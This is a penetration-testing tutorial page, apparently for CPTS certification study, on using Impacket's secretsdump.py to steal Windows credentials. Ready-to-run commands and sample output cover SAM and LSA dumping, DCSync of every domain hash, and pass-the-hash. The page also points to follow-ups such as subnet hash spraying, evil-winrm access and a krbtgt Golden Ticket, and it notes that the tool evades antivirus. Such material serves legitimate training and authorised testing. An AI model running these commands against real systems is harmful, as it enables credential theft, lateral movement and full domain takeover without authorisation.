secretsdump.py

Impacket tool that remotely dumps password hashes from Windows targets without uploading anything to the target. Extracts SAM, LSA secrets, cached domain creds, and performs DCSync, all from your Kali box.

Linux (attacker) Active Directory CPTS

LevelIntermediate. Needs valid admin credentials or a hash, so it comes after you already have a foothold.

Know firstWhat the SAM database and LSA secrets are, and what DCSync means (replicating password data from a domain controller).

You will learn todump local hashes from a single machine, and dump every domain hash at once with DCSync.

What is it?

secretsdump.py is part of the Impacket toolkit. It connects to a remote Windows machine over SMB and dumps credentials without uploading any binary to the target. This is a massive advantage over Mimikatz, you don't have to worry about AV flagging an uploaded executable.

secretsdump.py	Mimikatz
Runs from your Kali box	Runs on the target
Nothing uploaded to disk	Must drop mimikatz.exe (AV alert)
Dumps SAM, LSA, NTDS (DCSync)	Dumps LSASS memory, SAM, DCSync, Golden Tickets
Cannot get plaintext passwords from LSASS	Can extract plaintext from WDigest/Kerberos in LSASS
Needs admin creds + SMB access	Needs SYSTEM/admin on the box itself

The rule of thumb: try secretsdump first. It's cleaner, faster, and less detectable. Only switch to Mimikatz when you need something secretsdump can't get (like plaintext passwords from LSASS memory).

Run this first

Against a regular machine this pulls local SAM and LSA secrets. Against a domain controller with the right rights, add -just-dc for every domain hash.

bash: your first dump

$ secretsdump.py corp.local/administrator:'Password123!'@10.10.10.10

corp.local/administrator:password@target is the same Impacket syntax psexec.py and wmiexec.py use.

Local hashes appear as username:RID:LMhash:NThash:::. LSA secrets often include plaintext service account passwords, so read that section too. -just-dc only works against a domain controller; using it against a regular machine fails, since DCSync needs replication rights that only exist there.

What does it dump?

What	Where it comes from	What it gives you
SAM hashes	Local Security Accounts Manager	NT hashes for all local accounts (Administrator, users)
LSA secrets	Local Security Authority	Service account passwords (plaintext!), DPAPI keys, machine account password
Cached domain creds	SECURITY registry hive	DCC2 hashes of domain users who logged in (crackable with hashcat -m 2100, but slow)
NTDS.dit (DCSync)	Domain Controller's AD database	NT hashes for every domain user, full domain compromise

When do you use it?

Signals for secretsdump

You have local admin creds on a Windows machine → dump SAM + LSA to get all local hashes
You have Domain Admin creds → DCSync to get every user's hash in the domain
You compromised a machine and want to check for password reuse → dump the local admin hash, spray it
BloodHound shows a user with DCSync rights → use that user's creds for DCSync
You want credentials but AV blocks Mimikatz → secretsdump runs from Kali, nothing touches the target's disk

How do you use it?

Dump a single machine (SAM + LSA + cached creds)

bash: with password

# Format: secretsdump.py DOMAIN/user:password@TARGET
$ secretsdump.py corp.local/administrator:'P@ssw0rd'@10.10.10.10

# For a local account (no domain)
$ secretsdump.py administrator:'P@ssw0rd'@10.10.10.10

# With NT hash (pass-the-hash)
$ secretsdump.py administrator@10.10.10.10 -hashes :64f12cddaa88057e06a81b54e73b949b

Reading the output

output

[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
svc_backup:1001:aad3b435b51404eeaad3b435b51404ee:9e15ba1f5c3e9e3... <-- local accounts

[*] Dumping LSA Secrets
$MACHINE.ACC:
  hex: 4a3c2b1a...
DPAPI_SYSTEM:
  dpapi_machinekey: 0x1234...
  dpapi_userkey: 0x5678...
NL$KM:
  hex: 9a8b7c6d... <-- service passwords, machine key

[*] Dumping cached domain logon information (domain/username:hash)
CORP.LOCAL/jsmith:$DCC2$10240#jsmith#a1b2c3d4... <-- cached domain creds

DCSync: dump all domain hashes

bash: requires DA or DCSync privileges

# DCSync a specific user
$ secretsdump.py corp.local/administrator:'P@ssw0rd'@DC01.corp.local -just-dc-user krbtgt

# DCSync ALL users (full domain dump)
$ secretsdump.py corp.local/administrator:'P@ssw0rd'@DC01.corp.local -just-dc

# DCSync with pass-the-hash
$ secretsdump.py corp.local/administrator@DC01.corp.local -just-dc -hashes :64f12cdd...

# Only NT hashes (skip Kerberos keys and cleartext)
$ secretsdump.py corp.local/administrator:'P@ssw0rd'@DC01.corp.local -just-dc-ntlm

From offline files (SAM + SYSTEM)

bash: when you have registry hive backups

# On the target, save the hives:
# reg save HKLM\SAM sam.bak
# reg save HKLM\SYSTEM system.bak
# reg save HKLM\SECURITY security.bak

# Transfer to Kali, then parse offline
$ secretsdump.py -sam sam.bak -system system.bak -security security.bak LOCAL

What do you do with the output?

What you got	Next step
Local admin NT hash	Spray it: `crackmapexec smb 10.10.10.0/24 -u administrator -H HASH --local-auth`. Password reuse is everywhere
Domain user NT hash	Pass-the-hash: `evil-winrm -i TARGET -u user -H HASH` or crack with `hashcat -m 1000`
krbtgt NT hash	Golden Ticket with Mimikatz: persistent domain admin
Service account plaintext (LSA)	Try those creds on other machines and services
Cached domain creds (DCC2)	Crack with `hashcat -m 2100` (very slow, but sometimes worth it)

Common mistakes

Watch out

Using -just-dc on a non-DC: DCSync only works against Domain Controllers. On a regular machine, omit -just-dc to dump SAM/LSA instead
Forgetting the colon in -hashes: The format is -hashes :NTHASH (with a colon before the hash) or -hashes LMHASH:NTHASH. Missing the colon = auth failure
Not trying local admin hash spray: The local admin password is often the same on multiple machines. Always spray the hash across the subnet
Ignoring LSA secrets: The LSA section often contains plaintext service account passwords. Don't skip it when reading the output
Trying to pass DCC2 hashes: Cached domain credentials (DCC2) cannot be passed, they must be cracked. And cracking them is slow (-m 2100)

Check yourself

Answer each question out loud or on paper first, then open it. Retrieving the answer teaches you more than rereading the page.

You run -just-dc against a regular workstation and it fails. Why?

DCSync only works against a domain controller. On a regular machine, drop -just-dc to dump SAM and LSA secrets instead.

You pass a hash with -hashes 64f12cdd... and authentication fails. What is likely missing?

The colon before the NT hash. The format is -hashes LMHASH:NTHASH, or -hashes :NTHASH when you only have the NT hash.

Why check LSA secrets rather than skipping straight to the SAM hashes?

LSA secrets often contain plaintext service account passwords, not just hashes.

secretsdump gives you a local administrator hash. What should you try next, beyond this one machine?

Spray that hash across the subnet. Local admin passwords are often reused on multiple machines.

secretsdump returns a DCC2 (cached domain credential) hash. Can you pass it like an NT hash?

No. DCC2 hashes cannot be passed; they have to be cracked (hashcat mode 2100), and that cracking is slow.